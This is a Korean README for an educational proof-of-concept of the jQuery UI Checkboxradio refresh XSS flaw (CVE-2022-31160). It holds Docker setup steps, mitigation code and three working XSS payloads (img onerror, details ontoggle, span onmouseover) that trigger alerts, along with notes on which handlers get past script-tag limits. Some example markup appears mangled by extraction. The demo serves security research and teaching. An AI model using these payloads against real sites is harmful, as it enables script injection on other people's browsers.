
jquery XSS Proof of Concept (PoC)
이 프로젝트는 위젯 새로고침(refresh) 작업 중 HTML 엔터티 디코딩을 허용하여 XSS(Cross-Site Scripting) 공격으로 이어질 수 있는 **jQuery UI Checkboxradio 위젯 새로고침 취약점(CVE-2022-31160)**을 시연합니다.
⚠️ 이 프로젝트에는 교육 및 연구 목적으로만 사용되는 실제 동작하는 XSS 페이로드가 포함되어 있습니다.
label 내부에 포함된 input에 checkboxradio 위젯이 초기화된 상태에서 위젯에 .checkboxradio("refresh")를 호출하면 label 콘텐츠의 HTML 엔터티가 잘못 디코딩됩니다. 이로 인해 안전하게 인코딩된 악성 콘텐츠가 실행 가능한 JavaScript로 변환될 수 있습니다.
<!-- Safe encoded content -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# Clone or navigate to the project directory
cd jquery-cve-2022-31160
# Build the Docker image
docker build -t jquery-cve-2022-31160 .
# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160
컨테이너가 실행 중이면 다음에 접속하십시오:
jquery-cve-2022-31160/
├── README.md # This documentation
├── Dockerfile # Docker container configuration
├── package.json # Node.js dependencies
├── server.js # Express.js server
└── simplified-survey.html # Survey-style demonstration
simplified-survey.html)URL: http://localhost:3000/survey
기능:
<img src=x onerror="..."> - 즉시 실행<details ontoggle="..." open> - 즉시 실행<span onmouseover="..."> - 인터랙티브 실행분석 도구:
.checkboxradio("refresh") 호출// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability
데모에는 다양한 XSS 실행 방법을 테스트하기 위한 여러 페이로드가 포함되어 있습니다:
<!-- Network Security: Error event XSS (Immediate execution) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud Security: Interactive XSS (User interaction required) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x로 항상 실패)ontoggle)open 속성으로 트리거 보장)onmouseover)이벤트 핸들러의 장점:
innerHTML을 통해 요소가 삽입될 때 실행<script> 태그 제한을 우회ontoggle)는 매우 신뢰할 수 있음인코딩 우회:
<, ")가 jQuery UI 새로고침에 의해 디코딩됨docker build -t jquery-cve-2022-31160 .
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160
# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# List running containers
docker ps
# Stop the container
docker stop jquery-cve-2022-31160
# Remove the container
docker rm jquery-cve-2022-31160
# Remove the image
docker rmi jquery-cve-2022-31160
이 취약점은 다음 조건을 충족하는 애플리케이션에서 악용될 수 있습니다:
.checkboxradio("refresh") 호출 검색// Before refresh, sanitize or validate content
function safeRefresh(element) {
// Validate label content before refresh
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Check for potentially dangerous content
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Potentially dangerous content detected');
return;
}
element.checkboxradio("refresh");
}
// Express.js security headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
이 프로젝트는 다음을 위한 교육 자료로 활용됩니다:
이 데모를 사용할 때:
기여를 환영합니다! 다음 절차를 따르세요:
이 소프트웨어는 교육 및 연구 목적으로만 제공됩니다. 작성자와 기여자는:
이 프로젝트는 교육 목적으로 MIT 라이선스 하에 제공됩니다.
보안 연구 및 교육을 위해 제작됨 | 책임감 있게 사용하십시오 | 취약점은 적절한 경로로 신고하십시오